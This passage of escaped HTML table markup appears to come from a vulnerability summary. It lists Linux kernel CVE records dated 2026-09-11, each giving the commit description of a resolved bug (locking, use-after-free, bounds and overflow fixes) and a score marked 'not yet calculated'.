&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89582&quot; target=&quot;_blank&quot;&gt;CVE-2026-89582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: acpi/apei/ghes: Use raw_spinlock_t for CXL CPER work locks The CXL CPER work registration and unregistration helpers acquire cxl_cper_work_lock and cxl_cper_prot_err_work_lock with a spinlock guard(), which leaves local interrupts enabled. The corresponding post paths (cxl_cper_post_event(), cxl_cper_post_prot_err()) execute in hard IRQ context (they are called from the GHES error notification path) and acquire the same locks with an irqsave guard(). If a CPU is holding one of these locks via a spinlock guard() when a GHES interrupt arrives on the same CPU, the IRQ handler spins on the held lock waiting for it to release, while the lock holder is preempted by the IRQ. The result is a deadlock. Convert both locks from spinlock_t to raw_spinlock_t and use guard() at all call sites. On PREEMPT_RT kernels spinlock_t is backed by rt_mutex and sleeping from hard IRQ context is not permitted; raw_spinlock_t is safe in both contexts. Add WARN_ONCE to both register functions to surface double-registration bugs at runtime. Restructure both unregister functions to clear the global work pointer under the lock before calling cancel_work_sync(), closing the window where a CPER interrupt could schedule work on a pointer about to be freed. Add kfifo_reset() after cancel_work_sync() so stale entries are not replayed on next module load. Both kfifos are single-consumer: only one work_struct is registered at a time, enforced by the WARN_ONCE guard in the register functions. kfifo_reset() is safe outside the lock because cancel_work_sync() has already quiesced the consumer, and no new consumer can register until the current module exit completes and a fresh module init runs. Remove the redundant cancel_work_sync() call from cxl_ras_exit() and cxl_pci_driver_exit(). The CPER unregister functions now quiesce the work internally.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89589&quot; target=&quot;_blank&quot;&gt;CVE-2026-89589&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/rocket: Fix error path handling in rocket_job_run() In rocket_job_run(), after taking an extra fence reference for job-&amp;gt;done_fence via dma_fence_get(), the error paths have three bugs: - The dma_fence reference held by job-&amp;gt;done_fence is never released, causing a reference leak. - pm_runtime_get_sync() increments the usage counter even on failure, but the error path does not decrement it, leaking the runtime PM reference and preventing the NPU from suspending. - A valid but unsignaled fence is returned to the DRM scheduler, which triggers WARN(&quot;Fence ... released with pending signals!&quot;) when the scheduler drops its reference. Fix by replacing pm_runtime_get_sync() with pm_runtime_resume_and_get() which auto-balances the usage counter on failure, releasing both fence references on error, and returning ERR_PTR(ret) instead of the unsignaled fence. [tomeu: Refactored error paths to use consolidated goto labels]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89590&quot; target=&quot;_blank&quot;&gt;CVE-2026-89590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/rocket: initialize job domain before cleanup paths rocket_ioctl_submit_job() releases rjob through rocket_job_put() on allocation error paths. rocket_job_cleanup() unconditionally calls rocket_iommu_domain_put(job-&amp;gt;domain), but job-&amp;gt;domain is assigned only after task copying and BO lookups. A failure before that assignment can therefore clean up a job with a NULL domain pointer. Take the per-file domain reference before the first error path can release rjob. Also clear rjob-&amp;gt;tasks after freeing it in rocket_copy_tasks(), so the common cleanup path cannot free the task array again after a task-copy error.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89591&quot; target=&quot;_blank&quot;&gt;CVE-2026-89591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: accel/rocket: fix NULL dereference and integer overflow in rocket_job_push() rocket_job_push() allocates a temporary array to hold all input and output GEM object pointers: bos = kvmalloc_array(job-&amp;gt;in_bo_count + job-&amp;gt;out_bo_count, sizeof(void *), GFP_KERNEL); memcpy(bos, job-&amp;gt;in_bos, job-&amp;gt;in_bo_count * sizeof(void *)); memcpy(&amp;amp;bos[job-&amp;gt;in_bo_count], job-&amp;gt;out_bos, ...); Two bugs exist: 1. Missing NULL check: if kvmalloc_array() fails, bos is NULL and the subsequent memcpy() dereferences it, causing a kernel NULL pointer dereference. 2. Integer overflow: in_bo_count and out_bo_count are both u32, set directly from userspace-supplied in_bo_handle_count and out_bo_handle_count with no prior validation. Their sum is computed in u32 arithmetic and can wrap to a smaller value, causing the allocation count passed to kvmalloc_array() to be smaller than intended. Subsequent uses still operate on the original counts when copying and locking objects, which may lead to out-of-bounds accesses on the temporary array. Fix by using check_add_overflow() to detect count overflow before the allocation, and adding a NULL check on the allocation result.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89592&quot; target=&quot;_blank&quot;&gt;CVE-2026-89592&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fsnotify: Fix stale object mask after concurrent mark updates When a mark gets a new event bit, fanotify and inotify may avoid recalculating the object mask if the cached aggregate already contains that bit. This is racy with a recalculation triggered by a concurrent update to another mark on the same connector. The concurrent scan can read the mark before the new bit is added, while the updater reads the old aggregate before that scan publishes its result. The updater then skips recalculation and the scan publishes a mask without the bit, leaving the object mask stale after both updates complete. This can be reproduced with two fanotify groups watching the same inode: one thread removes FAN_MODIFY from one existing mark while another thread adds FAN_MODIFY to the other mark. After both fanotify_mark() calls return, writes can fail to produce FAN_MODIFY for the group whose mark now contains the bit. This was reproduced on an unmodified v6.12.95 kernel. The equivalent inotify interleaving loses IN_MODIFY events. For normal fanotify additions, recalculate whenever the raw mark mask changes. The normal mask is not cleared asynchronously, so an unchanged addition cannot introduce missing interest. Always recalculate ignore-mask updates because FS_MODIFY handling may clear the ignore mask without taking mark-&amp;gt;lock, making snapshot comparisons unreliable. Always recalculate after updating an existing inotify watch. Its replace path temporarily sets mark-&amp;gt;mask to zero, so a concurrent scan can observe zero even when the old and final masks are equal. Assigning the replacement mask directly would avoid the transient zero, but existing-watch updates are infrequent, so unconditional recalculation is simpler.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89595&quot; target=&quot;_blank&quot;&gt;CVE-2026-89595&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fbdev: ssd1307fb: defer I2C transfers from damage callbacks The fbdev damage callbacks may run from fbcon while printk has disabled preemption. They currently update the display synchronously, which enters the sleeping I2C transfer path from atomic context. A complete report from an RK3566 system follows: [ 258.129004] watchdog: watchdog0: watchdog did not stop! [ 258.129067] BUG: scheduling while atomic: systemd/1/0x00000003 [ 258.129076] Modules linked in: algif_hash algif_skcipher af_alg bnep binfmt_misc lz4hc lz4 zram snd_soc_hdmi_codec brcmfmac_wcc hci_uart fb_ssd1306(C) fbtft(C) btqca btrtl btintel btsdio snd_soc_simple_card motorcomm pwm_fan snd_soc_simple_card_utils ssd130x_spi nls_iso8859_1 ssd130x btbcm drm_shmem_helper display_connector brcmfmac ssd1307fb brcmutil bluetooth cfg80211 rfkill snd_soc_rockchip_i2s_tdm snd_soc_rk817 hantro_vpu snd_soc_core snd_compress snd_pcm_dmaengine v4l2_vp9 snd_pcm v4l2_h264 rockchip_rga snd_timer rk_crypto2 spi_rockchip_sfc videobuf2_dma_contig snd sm3_generic v4l2_mem2mem videobuf2_dma_sg dwmac_rk sm3 soundcore videobuf2_memops videobuf2_v4l2 stmmac_platform dw_hdmi_cec videodev videobuf2_common dw_hdmi_i2s_audio stmmac rk817_charger pcs_xpcs mc cpufreq_dt sch_fq_codel ip_tables x_tables autofs4 [ 258.129215] Preemption disabled at: [ 258.129216] [&amp;lt;ffff80008012f96c&amp;gt;] vprintk_emit+0x11c/0x340 [ 258.129234] CPU: 0 PID: 1 Comm: systemd Tainted: G C 6.6.0-rc5-rockchip-rk356x #4 [ 258.129239] Hardware name: Rockchip RK3566 OPi 3B (DT) [ 258.129243] Call trace: [ 258.129245] dump_backtrace+0xa0/0x128 [ 258.129252] show_stack+0x20/0x38 [ 258.129256] dump_stack_lvl+0x60/0xb0 [ 258.129265] dump_stack+0x18/0x28 [ 258.129269] __schedule_bug+0xa0/0xc8 [ 258.129274] __schedule+0x9ac/0xd30 [ 258.129279] schedule+0x60/0x100 [ 258.129282] schedule_timeout+0x194/0x338 [ 258.129289] rk3x_i2c_xfer_common.isra.0+0x384/0x498 [ 258.129296] rk3x_i2c_xfer+0x20/0x60 [ 258.129300] __i2c_transfer+0x194/0x648 [ 258.129308] i2c_transfer+0x9c/0x130 [ 258.129313] i2c_transfer_buffer_flags+0x64/0x98 [ 258.129318] ssd1307fb_update_rect+0x42c/0x560 [ssd1307fb] [ 258.129334] ssd1307fb_defio_imageblit+0x34/0x50 [ssd1307fb] [ 258.129343] soft_cursor+0x13c/0x210 [ 258.129350] bit_cursor+0x2dc/0x550 [ 258.129354] fbcon_cursor+0xec/0x108 [ 258.129359] hide_cursor+0x44/0xc8 [ 258.129365] vt_console_print+0x398/0x3b0 [ 258.129370] console_flush_all.isra.0+0x17c/0x410 [ 258.129377] console_unlock+0x4c/0x100 [ 258.129382] vprintk_emit+0x1c8/0x340 [ 258.129386] vprintk_default+0x40/0x58 [ 258.129389] vprintk+0xb8/0xd0 [ 258.129392] _printk+0x68/0x98 [ 258.129398] watchdog_release+0x170/0x230 [ 258.129404] __fput+0xbc/0x288 [ 258.129409] __fput_sync+0x58/0x70 [ 258.129413] __arm64_sys_close+0x40/0x90 [ 258.129419] invoke_syscall+0x4c/0x118 [ 258.129426] el0_svc_common.constprop.0+0x48/0xf0 [ 258.129432] do_el0_svc+0x24/0x38 [ 258.129437] el0_svc+0x48/0x100 [ 258.129443] el0t_64_sync_handler+0xc0/0xc8 [ 258.129448] el0t_64_sync+0x190/0x198 [ 258.573087] ------------[ cut here ]------------ [ 258.573098] DEBUG_LOCKS_WARN_ON(val &amp;gt; preempt_count()) [ 258.573111] WARNING: CPU: 0 PID: 1 at kernel/sched/core.c:5871 preempt_count_sub+0x9c/0x148 [ 258.573130] Modules linked in: algif_hash algif_skcipher af_alg bnep binfmt_misc lz4hc lz4 zram snd_soc_hdmi_codec brcmfmac_wcc hci_uart fb_ssd1306(C) fbtft(C) btqca btrtl btintel btsdio snd_soc_simple_card motorcomm pwm_fan snd_soc_simple_card_utils ssd130x_spi nls_iso8859_1 ssd130x btbcm drm_shmem_helper display_connector brcmfmac ssd1307fb brcmutil bluetooth cfg80211 rfkill snd_soc_rockchip_i2s_tdm snd_soc_rk817 hantro_vpu snd_soc_core snd_compress snd_pcm_dmaengine v4l2_vp ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89598&quot; target=&quot;_blank&quot;&gt;CVE-2026-89598&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: efivarfs: Rate limit statfs() handler Ravi reports that statfs() may be called by unprivileged users on the efivarfs mount point, which may result in a flood of calls to the QueryVariableInfo() runtime service. These calls are disproportionately costly on x86 systems where the variable store is backed by SMM, as each SMM entry requires a rendez-vous of all the CPUs. So rate limit the calls to QueryVariableInfo() at twice per second, and return the most recently obtained value for calls that are elided.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89604&quot; target=&quot;_blank&quot;&gt;CVE-2026-89604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: eventfs: Initialize ei-&amp;gt;children and ei-&amp;gt;list in init_ei() eventfs_create_dir() allocates the eventfs_inode and initializes it with init_ei(). But this does not initialize the eventfs_inode list_heads. If the eventfs_create_dir() fails due to memory pressure, it will call free_ei() before it initialized the lists, and that checks to make sure the eventfs_inode has no children. But because the list wasn&#039;t initialized, it will give a false warning. Fix it by moving the list initialization into init_ei(). [ Rewrote change log ]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89618&quot; target=&quot;_blank&quot;&gt;CVE-2026-89618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: mcp2221: validate report size in mcp2221_raw_event() mcp2221_raw_event() never validates the size of incoming HID reports. In the MCP2221_I2C_GET_DATA path it trusts the device-supplied data[3] as the copy length without checking that 4 + data[3] bytes actually exist in the received report. A malicious or misbehaving USB device can send a short report with a large data[3], causing the memcpy to read past the valid report data in the HID transfer buffer and leak uninitialized kernel memory back to userspace through the I2C/SMBus read path. Add a minimum size check at entry and validate that the source range fits within the received report before the copy.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89621&quot; target=&quot;_blank&quot;&gt;CVE-2026-89621&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: mcp2221: stop device IO before hid_hw_stop Quiesce device IO at the start of the devm cleanup callback mcp2221_hid_unregister() so that incoming HID reports cannot race with hardware teardown during probe failure or device removal, addressing a potential use-after-free. Guard the call to hid_device_io_stop() with io_started. On normal removal hid_device_remove() has already cleared io_started before the devres group is released, so an unconditional call would otherwise hit the !io_started path and emit a spurious &quot;io already stopped&quot; warning on every removal. The guard preserves the probe-failure balancing, where io_started is still set after hid_device_io_start(), while staying silent on the normal removal path.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89623&quot; target=&quot;_blank&quot;&gt;CVE-2026-89623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: sony: fix UAF of ghl_poke_timer / ghl_urb at driver unbind For GHL (Guitar Hero Live) dongles, sony_probe() arms a periodic timer: ghl_magic_poke() (the timer callback) submits sc-&amp;gt;ghl_urb, and the URB completion ghl_magic_poke_cb() re-arms the timer with mod_timer(). sony_remove() drained the timer with timer_delete_sync() and then freed the URB with usb_free_urb(): timer_delete_sync(&amp;amp;sc-&amp;gt;ghl_poke_timer); usb_free_urb(sc-&amp;gt;ghl_urb); timer_delete_sync() does not block re-arming, and while the URB is in flight the timer is not pending, so the sync delete is a no-op. A URB completion that runs after the delete re-arms the timer, and usb_free_urb() only drops a reference -- it does not kill an in-flight URB. sc is allocated with devm_kzalloc() and freed once sony_remove() returns, so the re-armed ghl_poke_timer (embedded in sc) then fires on freed memory, a use-after-free from timer softirq. This is a disconnect/rmmod race. Poison the URB first, then shut the timer down, before freeing the URB. usb_poison_urb() kills any in-flight URB and permanently rejects further submissions, so a poke timer that is still pending cannot re-submit the URB from ghl_magic_poke() in the window before timer_shutdown_sync() runs. usb_kill_urb() would not suffice: it only cancels the in-flight URB and leaves it submittable once it returns, so the pending timer could re-submit it and put a fresh URB in flight over the freed sc. timer_shutdown_sync() then drains any last callback and blocks re-arming. The probe error path is unaffected: it is only reached before the timer is armed. Reproduced under KASAN on next-20260710 via dummy_hcd + raw-gadget emulation of the GHL PS4 dongle (VID 0x1430 / PID 0x07bb): hid-sony binds and arms the poke timer, the poke URB is held in flight, the driver is unbound (freeing sc), then the URB is released. The completion re-arms the timer on the freed sc, and the re-armed timer fires ~8 s later: BUG: KASAN: slab-use-after-free in ghl_magic_poke+0x98/0xb0 Read of size 8 at addr ffff88810b02fd50 by task swapper/0/0 ghl_magic_poke+0x98/0xb0 call_timer_fn+0x35/0x2b0 __run_timers+0x69c/0x9a0 run_timer_softirq+0x173/0x2a0 Allocated by task 169: sony_probe Freed by task 338: devres_release_group &amp;lt;- hid_device_remove (sony_remove) Found by 0sec (https://0sec.ai) using automated source analysis.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89625&quot; target=&quot;_blank&quot;&gt;CVE-2026-89625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: roccat: free buffered reports when destroying device roccat_report_event() duplicates each report with kmemdup() and stores the allocation in a circular-buffer slot. The allocation is released only when that slot is reused. The device destruction paths free struct roccat_device without releasing reports still stored in cbuf[]. This makes those allocations unreachable and leaks up to ROCCAT_CBUF_SIZE report buffers per device. Add a small destructor that frees every buffered report before freeing the device, and use it in both paths that can destroy a registered device.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89627&quot; target=&quot;_blank&quot;&gt;CVE-2026-89627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: picolcd: clamp eeprom debugfs read to bytes actually received picolcd_debug_eeprom_read() trusts resp-&amp;gt;raw_data[2] -- a length byte supplied by the device in its REPORT_EE_DATA reply -- clamped only to the caller&#039;s read() count: ret = resp-&amp;gt;raw_data[2]; if (ret &amp;gt; s) ret = s; if (copy_to_user(u, resp-&amp;gt;raw_data+3, ret)) It never checks resp-&amp;gt;raw_size, the number of bytes picolcd_raw_event() actually copied into the 64-byte raw_data[] of the kmalloc&#039;d struct picolcd_pending. A device (or a spoofed picoLCD) returning a length byte of 0xff, read with a count &amp;gt;= 255, makes copy_to_user() read past raw_data[] into adjacent slab memory and return it to userspace through the debugfs &quot;eeprom&quot; file: BUG: KASAN: slab-out-of-bounds in _copy_to_user Read of size 255 ... picolcd_debug_eeprom_read+0x214/0x2f0 [hid_picolcd] The debug-dump path in the same file already validates the device length byte against the received size before trusting it; this read does not. The file is created S_IRUSR (root-only) and a crafted device is needed, so it is neither unprivileged- nor remotely-triggerable. Clamp the copy length to resp-&amp;gt;raw_size - 3 (the payload actually received, minus the 3-byte header), floored at 0 for short replies.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89628&quot; target=&quot;_blank&quot;&gt;CVE-2026-89628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: corsair-void: Check size of status and firmware events before reading them Malformed status and firmware events could cause an out-of-bounds read since the size wasn&#039;t being checked. Check the size and warn on unexpected values to avoid this.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89629&quot; target=&quot;_blank&quot;&gt;CVE-2026-89629&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cifs: call pagecache_isize_extended() in cifs_setsize() when extending cifs_setsize() calls truncate_pagecache() but skips pagecache_isize_extended() on extension. truncate_setsize() shows the correct pattern: i_size_write(inode, newsize); if (newsize &amp;gt; oldsize) pagecache_isize_extended(inode, oldsize, newsize); truncate_pagecache(inode, newsize); pagecache_isize_extended() zeroes the tail of the page straddling old EOF. Without it, dirty bytes in that region can be written back to the server, exposing stale data in the newly extended range.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89642&quot; target=&quot;_blank&quot;&gt;CVE-2026-89642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: fix extent map leak in NOCOW direct I/O write btrfs_dio_iomap_begin() calls btrfs_get_extent(), which returns an extent map reference that must be dropped on all exit paths. For direct writes into a NOCOW range, btrfs_get_blocks_direct_write() keeps using that extent map and asks btrfs_create_dio_extent() to allocate the ordered extent. If that fails, for example because btrfs_alloc_ordered_extent() fails, the function returns the error without dropping the input extent map. The PREALLOC path avoided this by dropping the input extent map before replacing it with the newly created one. Check the error from btrfs_create_dio_extent() before replacing the map and drop the input extent map on failure.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89644&quot; target=&quot;_blank&quot;&gt;CVE-2026-89644&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: drop recovered reloc root refs on recovery failure During relocation recovery, each fs root gets a reference to its relocation root. If loading or adding a later root fails, or if the first transaction commit fails, btrfs_recover_relocation() jumps to out_unset before merge_reloc_roots() and clean_dirty_subvols(). put_reloc_control() drops the list-owned relocation root references, but it does not clear fs_root-&amp;gt;reloc_root or drop the references owned by those pointers. Mount cleanup only drops them when BTRFS_FS_ERROR is set, so an error such as -ENOMEM while processing a later root can leave references behind. Keep temporary references to the fs roots associated during recovery. On failure, clear their reloc_root pointers and drop the corresponding references. Once the first transaction commit succeeds, drop only the temporary fs root references and let the normal merge and cleanup paths handle the relocation roots. Fault injection on a pending-relocation image confirmed the cleanup gap. With an injected first-commit failure, 25 fs roots had reloc_root set with fs_error=0. With this fix, the same failure path drops that count to 0 before mount fails.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89645&quot; target=&quot;_blank&quot;&gt;CVE-2026-89645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: Prevent post-shutdown use-after-free in unlock_filesystem Writing a filesystem path to /proc/fs/nfsd/unlock_filesystem runs nfsd4_cancel_copy_by_sb() before nfsd_mutex is held and before the handler confirms that nn-&amp;gt;nfsd_serv is set. Once nfsd has shut down, nfs4_state_destroy_net() has freed nn-&amp;gt;conf_id_hashtbl but left the pointer intact, so the cancel helper iterates freed slab memory as an array of struct list_head and then dereferences a bogus nfs4_client when it takes clp-&amp;gt;async_lock. A local administrator holding CAP_SYS_ADMIN can reach this use-after-free by stopping the server and then writing to unlock_filesystem; KASAN reports a slab-use-after-free read in nfsd4_cancel_copy_by_sb(). nfsd4_revoke_states() walks the same state tables and for that reason already runs only under nfsd_mutex with nn-&amp;gt;nfsd_serv confirmed present. Move the async COPY cancel into that protected section so every NFSv4 state-table walker on this path observes a running server. Async copies exist only while the server runs, so gating the cancel on nn-&amp;gt;nfsd_serv loses nothing.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89661&quot; target=&quot;_blank&quot;&gt;CVE-2026-89661&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: reject out-of-range nseconds in NFSv3 SETATTR and create ops A client can send an NFSv3 SETATTR, CREATE, MKDIR, SYMLINK or MKNOD carrying an atime or mtime whose nseconds field is out of range. The value is well-formed on the wire and decodes cleanly into a valid uint32, but it is not a valid timespec64: tv_nsec must be less than NSEC_PER_SEC. Nothing in the setattr path clamps it. notify_change() runs the time through timestamp_truncate(), which does not reduce tv_nsec below NSEC_PER_SEC when the filesystem supports nanosecond granularity (s_time_gran == 1), and the inode atime/mtime setters store it verbatim (only ctime is normalized, via inode_set_ctime_to_ts()). The un-normalized value then corrupts on-disk metadata: ext4&#039;s ext4_encode_extra_time() shifts tv_nsec left by EXT4_EPOCH_BITS, which overflows the 32-bit extra field and clobbers the seconds-epoch bits, so the stored seconds (and thus the year) are wrong on read-back. XFS with bigtime mis-stores the timestamp for the same reason. Validate the client-supplied atime/mtime in the proc handlers and return NFS3ERR_INVAL before anything is changed. RFC 1813 lists NFS3ERR_INVAL for SETATTR and describes it as the error for a value the server &#039;can not store ... in its own representation&#039;; the client maps it to EINVAL. Checking in the proc handlers, rather than in nfsd_setattr(), keeps the rejection in front of object creation. The create operations create the object before nfsd_create_setattr() runs, so a late failure would leave the new object behind and turn a non-idempotent request into a namespace change that reports failure. The check is therefore done up front, for the create operations before the object is created. tv_nsec is a long, so the comparison casts it to unsigned long (the same width) rather than to u32, matching timespec64_valid(). A u32 cast would truncate on 64-bit; the unsigned long cast also rejects a value that became negative when an out-of-range u32 wire nseconds was assigned to a 32-bit long. Only client-supplied times are checked: SET_TO_SERVER_TIME requests carry no client value. The sattrguard3 ctime is deliberately left alone: an out-of-range guard simply never matches the object&#039;s ctime and yields NFS3ERR_NOT_SYNC via the existing guardtime comparison, which is the protocol-correct outcome rather than rejecting the request.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89666&quot; target=&quot;_blank&quot;&gt;CVE-2026-89666&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix XDR padding calculation in ff_encode_getdeviceinfo nfsd4_ff_encode_getdeviceinfo() computes the da_addr_body reservation as 16 + netid_len + addr_len, but the subsequent xdr_encode_opaque() calls emit 8 + round_up(netid_len, 4) + round_up(addr_len, 4) bytes. The mismatch means the declared da_addr_body length exceeds the actual encoded data by 2-8 bytes on every flexfile GETDEVICEINFO reply, leaking stale reply-page content to the client and mis-aligning the subsequent version list decode. Use xdr_align_size() for each string length to match what xdr_encode_opaque() actually writes.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89673&quot; target=&quot;_blank&quot;&gt;CVE-2026-89673&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
